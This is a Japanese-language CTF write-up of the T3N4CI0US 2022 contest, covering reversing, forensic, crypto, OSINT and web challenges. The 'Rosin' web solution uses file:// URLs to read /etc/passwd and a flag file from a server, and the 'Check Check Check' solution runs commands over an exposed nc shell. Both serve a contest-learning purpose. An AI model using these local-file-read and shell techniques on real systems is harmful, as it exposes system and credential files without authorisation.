この大会は2022/8/10 13:00(JST)~2022/8/12 13:00(JST)に開催されました。
今回もチームで参戦。結果は3100点で557チーム中35位でした。
この大会の問題は答えが定まらず、CTFとしてはイマイチのものでした。
自分で解けた問題をWriteupとして書いておきます。
find me (MISC 100)
問題には以下のように書いてあるだけ。あとでURLを答えることが問題に追加される。
hello pls find Dolpari
Discordに入り、Dolpariを探すと見つけることができる。プロフィールにはこう書いてある。
github - https://github.com/dolpari/dolpari instagram - https://www.instagram.com/dolpari_05/?hl=ko tistory - https://dolpari-is-come.tistory.com/ facebook -https://www.facebook.com/ppapesib
いろいろフラグの投入を試した結果、何とかフラグを当てることができた。
T3N4CI0US{https://www.instagram.com/dolpari_05/}
Find us(200)
問題にはこう書いてある。
Hi, can you find us? Go into a site somewhere and look for us!
ctftimeに開催チームのURLが書いてある。そのページのメニューにメンバ紹介のあるページのURLがあり、そのURLがフラグだった。
T3N4CI0US{https://t3n4ci0us.kr/member/}
Check Check Check (Pwnable 50)
ncで接続すると、/bin/shが起動されているようなので、コマンドを実行するだけ。
$ nc 34.64.203.138 10009 ls -l total 56 lrwxrwxrwx 1 root root 7 Aug 1 13:22 bin -> usr/bin drwxr-xr-x 2 root root 4096 Apr 15 2020 boot drwxr-xr-x 5 root root 340 Aug 9 22:18 dev drwxr-xr-x 1 root root 4096 Aug 9 22:18 etc drwxr-xr-x 1 root root 4096 Aug 9 06:59 home lrwxrwxrwx 1 root root 7 Aug 1 13:22 lib -> usr/lib lrwxrwxrwx 1 root root 9 Aug 1 13:22 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Aug 1 13:22 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Aug 1 13:22 libx32 -> usr/libx32 drwxr-xr-x 2 root root 4096 Aug 1 13:22 media drwxr-xr-x 2 root root 4096 Aug 1 13:22 mnt drwxr-xr-x 2 root root 4096 Aug 1 13:22 opt dr-xr-xr-x 357 root root 0 Aug 9 22:18 proc drwx------ 2 root root 4096 Aug 1 13:25 root drwxr-xr-x 5 root root 4096 Aug 1 13:25 run lrwxrwxrwx 1 root root 8 Aug 1 13:22 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Aug 1 13:22 srv dr-xr-xr-x 13 root root 0 Aug 9 22:18 sys drwxrwxrwt 1 root root 4096 Aug 9 06:59 tmp drwxr-xr-x 1 root root 4096 Aug 1 13:22 usr drwxr-xr-x 1 root root 4096 Aug 1 13:25 var cd home ls -l total 8 drwxr-xr-x 1 root root 4096 Aug 9 22:18 ctf cd ctf ls -l total 24 -rwxrwxrwx 1 ctf root 38 Aug 9 06:58 flag -r-xrwx--- 1 ctf root 16848 Aug 9 06:58 prob cat flag T3N4CI0US{ZG9yb3Jvbmc/ZG9uZz9kaW5nPw}
T3N4CI0US{ZG9yb3Jvbmc/ZG9uZz9kaW5nPw}
WHISEN (Reversing 100)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; char local_58; undefined local_57; undefined local_56; undefined local_55; undefined local_54; undefined local_53; undefined local_52; undefined local_51; undefined local_50; undefined local_4f; undefined local_4e; undefined local_4d; undefined local_4c; undefined local_4b; undefined local_4a; undefined local_49; undefined local_48; undefined local_47; undefined local_46; undefined local_45; undefined local_44; undefined local_43; undefined local_42; undefined local_41; undefined local_40; char *local_30; undefined local_22; undefined local_21; undefined local_20; undefined local_1f; undefined local_1e; undefined local_1d; undefined local_1c; undefined local_1b; undefined local_1a; undefined local_19; undefined local_18; undefined local_17; undefined local_16; undefined local_15; undefined local_14; undefined local_13; undefined local_12; undefined local_11; undefined local_10; undefined local_f; undefined local_e; undefined local_d; undefined local_c; undefined local_b; undefined local_a; char local_9; local_9 = 'T'; local_a = 0x33; local_b = 0x6b; local_c = 0x33; local_d = 0x30; local_e = 0x54; local_f = 0x4e; local_10 = 0x30; local_11 = 99; local_12 = 0x72; local_13 = 0x72; local_14 = 0x34; local_15 = 0x5f; local_16 = 0x53; local_17 = 0x7b; local_18 = 0x43; local_19 = 0x72; local_1a = 0x55; local_1b = 0x66; local_1c = 0x49; local_1d = 0x68; local_1e = 0x30; local_1f = 0x5f; local_20 = 0x30; local_21 = 0x34; local_22 = 0x7d; local_30 = (char *)malloc(0x1a); printf("Enter the Password : "); __isoc99_scanf(&DAT_0010201e,local_30); local_58 = local_9; local_57 = local_c; local_56 = local_f; local_55 = local_14; local_54 = local_18; local_53 = local_1c; local_52 = local_1e; local_51 = local_1a; local_50 = local_16; local_4f = local_17; local_4e = local_12; local_4d = local_10; local_4c = local_d; local_4b = local_e; local_4a = local_1f; local_49 = local_1b; local_48 = local_20; local_47 = local_13; local_46 = local_15; local_45 = local_1d; local_44 = local_14; local_43 = local_11; local_42 = local_b; local_41 = local_a; local_40 = local_19; iVar1 = strncmp(&local_58,local_30,0x1a); if (iVar1 == 0) { printf("Success! You found the flag!\n%s\n",&local_58); } else { puts("Incorrect Password !"); } return 0; }
local_9~local_22で各文字が設定されており、設定後順番を変えてメモリ配置している。順番変更後の文字を並べる。
>>> chr(0x33) '3' >>> chr(0x4e) 'N' >>> chr(0x34) '4' >>> chr(0x43) 'C' >>> chr(0x49) 'I' >>> chr(0x30) '0' >>> chr(0x55) 'U' >>> chr(0x53) 'S' >>> chr(0x7b) '{' >>> chr(0x72) 'r' >>> chr(0x30) '0' >>> chr(0x30) '0' >>> chr(0x54) 'T' >>> chr(0x5f) '_' >>> chr(0x66) 'f' >>> chr(0x30) '0' >>> chr(0x72) 'r' >>> chr(0x5f) '_' >>> chr(0x68) 'h' >>> chr(0x34) '4' >>> chr(99) 'c' >>> chr(0x6b) 'k' >>> chr(0x33) '3' >>> chr(0x72) 'r'
T3N4CI0US{r00T_f0r_h4ck3r}
Swood (Reversing 250)
Ghidraでデコンパイルする。
undefined8 main(int param_1,undefined8 *param_2) { int iVar1; undefined8 uVar2; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined local_10; if (param_1 < 2) { printf("Usage: %s <string>\n",*param_2); uVar2 = 1; } else { local_38 = 0x6565336139336164; local_30 = 0x6430623462366535; local_28 = 0x6665666235353233; local_20 = 0x3039383130363539; local_18 = 0x3930373038646661; local_10 = 0; iVar1 = strncmp((char *)&local_38,(char *)param_2[1],0x28); if (iVar1 == 0) { puts("Correect password!"); uVar2 = 0; } else { puts("Wrong password!"); uVar2 = 1; } } return uVar2; }
local_38以降の数値を文字列にして結合すればよい。
>>> 0x6565336139336164.to_bytes(8, byteorder="little") b'da39a3ee' >>> 0x6430623462366535.to_bytes(8, byteorder="little") b'5e6b4b0d' >>> 0x6665666235353233.to_bytes(8, byteorder="little") b'3255bfef' >>> 0x3039383130363539.to_bytes(8, byteorder="little") b'95601890' >>> 0x3930373038646661.to_bytes(8, byteorder="little") b'afd80709'
da39a3ee5e6b4b0d3255bfef95601890afd80709
T3N4CI0US{da39a3ee5e6b4b0d3255bfef95601890afd80709}
VISKA (Web 50)
HTMLソースを見ると、以下のコメントがある。
<!-- Vm0wd2QyUXlVWGxXYTFwT1ZsZFNXRll3Wkc5V01WbDNXa2M1VjAxV2JETlhhMXBQVm14S2MyTkljRmROYWxaeVZtcEtTMU5IVmtkWGJHUlRUVEZLVVZadGVGWmxSbGw0V2toR1VtSlZXbGhXYWtaTFUxWmFkR05GWkZwV01VcFlWVzAxVDFkSFNrZGpSVGxhWWxSR2RsWkdXbUZqYkhCSlkwZDRVMkV6UWxwV1ZFb3dZVEpHVjFOdVVsWmhlbXhoVm1wT1UyRkdVbGhsUjBacVlrWmFlVnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1phWlZaT2NtRkhhRk5pVjJodlZtMXdUMVV5UmtkWGJGcFlZbFZhVkZSV2FFTlRiR3QzV2tSU1ZrMXJWalZhUkU1M1ZqRktSbGR0YUZwaGEzQkhXbFZhVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEpXY0ZsWmJGWmhWbFpXY1ZKdFJsUlNiWFF6Vm14U1YxWXdNVVZTYTJoWFRWWktSRll3V2xwbGJGWjBZVVprYUdFeGNHaFhiRlpoWVRKT2MxcElUbWhTTW1oeldXeG9iMWRzV1hoWGJFNVRUVmQ0VjFSVmFHOWhSVEI1WVVac1dtRXhWWGhXTUZwaFpFZE9ObEp0ZUdsU2JrSktWa1phVjJFeVJrZFRXR2hZWVd0S2FGWnNXbUZqYkZweFVWaG9hbFpzY0hoV1IzaHJZVWRGZUdOR1VsaGlSbkJvVmtSS1RtVkdjRWxWYldoVFZrWmFVRlpHVmxka01XeFhWMjVPVm1Fd05YQlVWbFpYVGtaVmVXUkhkRnBXYXpWSVZUSTFSMVpXV2taalNGcGFUVlp3YUZwRlZYaFdWbEp5VGxkc1UySnJSak5XTVZKUFpERlplVkpyWkZoaWF6VnhWVEJrTkZkR2JITmhSVTVZVW14d2VGVldhRzlXUmtsM1YydGFWMUl6YUdoV2FrWkxWMVpHY21KR2FGaFRSVXBOVm10U1IxTXlVa2RVYmtwWVlYcHNXRmxZY0ZkV1ZscFlaVVprVjJGNlJsTlZSbEYzVUZFOVBRPT0= -->
何重にもbase64エンコードされているので、繰り返しデコードする。
#!/usr/bin/env python3 from base64 import * data = b'Vm0wd2QyUXlVWGxXYTFwT1ZsZFNXRll3Wkc5V01WbDNXa2M1VjAxV2JETlhhMXBQVm14S2MyTkljRmROYWxaeVZtcEtTMU5IVmtkWGJHUlRUVEZLVVZadGVGWmxSbGw0V2toR1VtSlZXbGhXYWtaTFUxWmFkR05GWkZwV01VcFlWVzAxVDFkSFNrZGpSVGxhWWxSR2RsWkdXbUZqYkhCSlkwZDRVMkV6UWxwV1ZFb3dZVEpHVjFOdVVsWmhlbXhoVm1wT1UyRkdVbGhsUjBacVlrWmFlVnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1phWlZaT2NtRkhhRk5pVjJodlZtMXdUMVV5UmtkWGJGcFlZbFZhVkZSV2FFTlRiR3QzV2tSU1ZrMXJWalZhUkU1M1ZqRktSbGR0YUZwaGEzQkhXbFZhVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEpXY0ZsWmJGWmhWbFpXY1ZKdFJsUlNiWFF6Vm14U1YxWXdNVVZTYTJoWFRWWktSRll3V2xwbGJGWjBZVVprYUdFeGNHaFhiRlpoWVRKT2MxcElUbWhTTW1oeldXeG9iMWRzV1hoWGJFNVRUVmQ0VjFSVmFHOWhSVEI1WVVac1dtRXhWWGhXTUZwaFpFZE9ObEp0ZUdsU2JrSktWa1phVjJFeVJrZFRXR2hZWVd0S2FGWnNXbUZqYkZweFVWaG9hbFpzY0hoV1IzaHJZVWRGZUdOR1VsaGlSbkJvVmtSS1RtVkdjRWxWYldoVFZrWmFVRlpHVmxka01XeFhWMjVPVm1Fd05YQlVWbFpYVGtaVmVXUkhkRnBXYXpWSVZUSTFSMVpXV2taalNGcGFUVlp3YUZwRlZYaFdWbEp5VGxkc1UySnJSak5XTVZKUFpERlplVkpyWkZoaWF6VnhWVEJrTkZkR2JITmhSVTVZVW14d2VGVldhRzlXUmtsM1YydGFWMUl6YUdoV2FrWkxWMVpHY21KR2FGaFRSVXBOVm10U1IxTXlVa2RVYmtwWVlYcHNXRmxZY0ZkV1ZscFlaVVprVjJGNlJsTlZSbEYzVUZFOVBRPT0=' while True: try: data = b64decode(data) except: break flag = data.decode() print(flag)
T3N4CI0US{d79fa6_2bc60_db3_5_da5512c3d_8896b7_0_2796d6_0cd}
cigarette (Web 250)
$ curl -v http://34.125.194.164:49153/ * Trying 34.125.194.164:49153... * TCP_NODELAY set * Connected to 34.125.194.164 (34.125.194.164) port 49153 (#0) > GET / HTTP/1.1 > Host: 34.125.194.164:49153 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Aug 2022 14:30:05 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/5.6.40 < Key: T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78} < Content-Length: 44 < Content-Type: text/html; charset=UTF-8 < Flag is not here! * Connection #0 to host 34.125.194.164 left intact <!-- It's not here! :) -->
レスポンスヘッダのKeyにフラグが設定されていた。
T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78}
Rosin (Web 350)
$ curl http://34.125.194.164:49157/ <!-- Whisper to tell you, flag is in flag.txt under the root directory -->
ブラウザでhttp://34.125.194.164:49157/にアクセスすると、以下のページにリダイレクトされた。
http://34.125.194.164:49157/index.php?url=https://google.com
URLに"file://"形式で指定してローカルファイルにアクセスすることができるか確認してみる。
$ curl http://34.125.194.164:49157/index.php?url=file:///etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false <!-- Whisper to tell you, flag is in flag.txt under the root directory --> $ curl http://34.125.194.164:49157/index.php?url=file:///flag/flag.txt T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}<!-- Whisper to tell you, flag is in flag.txt under the root directory -->
T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}
yhparg (Forensic 200)
1.pngと2.pngのRGBの差があるピクセルの2.pngのRの色を文字にして連結する。
#!/usr/bin/env python3 from PIL import Image img1 = Image.open('1.png').convert('RGB') img2 = Image.open('2.png').convert('RGB') w, h = img1.size flag = '' for y in range(h): for x in range(w): r1, g1, b1 = img1.getpixel((x, y)) r2, g2, b2 = img2.getpixel((x, y)) if r1 != r2 or g1 != g2 or b1 != b2: flag += chr(r2) print(flag)
T3N4CI0US{H1D1N6_837W33N_1M463_15_C001_R1GHT?}
password (Forensic 250)
TweakPNGで確認すると、たくさんのチャンクのCRCが間違っている。一部を見ると、CRCがprintableな文字になっているので、結合する。さらに試したところ、base58になっているようだったので、デコードすると、フラグになる。
#!/usr/bin/env python3 import struct import binascii import base58 with open('Password.png', 'rb') as f: data = f.read() enc = b'' index = 8 while index < len(data): size = struct.unpack('>I', data[index:index+4])[0] index += 4 name = data[index:index+4] index += 4 body = data[index:index+size] index += size orig_crc = data[index:index+4] index += 4 crc = struct.pack('!I', binascii.crc32(name + body)) if orig_crc != crc: enc += orig_crc flag = base58.b58decode(enc).decode() print(flag)
T3N4CI0US{Is_escape_V4ry_Fun}
french (Crypto 100)
フランスの暗号で有名なVigenere暗号と推測。https://www.dcode.fr/vigenere-cipherで鍵を調整しながら復号する。鍵は"CLE"で復号できた。
T3N4CI0US{CrypToVerryEasy}
これでは通らない。単語の間に"_"を入れてみると通った。
T3N4CI0US{CrypTo_Verry_Easy}
Before Porta arrives at the port! (Crypto 200)
モールス信号をhttps://www.boxentriq.com/code-breaking/morse-codeでデコードする。
3N4CI0US#OJADLD_U_PYP_V_EFGZXZX#
"#"の外は先頭にあるはずの"T"を除き、フラグの形式になっている。問題文からPorta Cipherと推測し、"#"で挟まれた文字列をhttps://www.dcode.fr/porta-cipherで復号する。
CRYPTO_I_HAD_A_PROBLEM
T3N4CI0US{CRYPTO_I_HAD_A_PROBLEM}
ro (Crypto 200)
問題文にはこう書いてある。
[ W E = 360 ] [ S N S = 360 ] [ N E W S = ? ]
方角を角度として足し算すればよい。
WE = 270°+90°=360° SNS = 180°+0°+180°=360° NEWS = 0°+90°+270°+180°=540°
T3N4CI0US{540}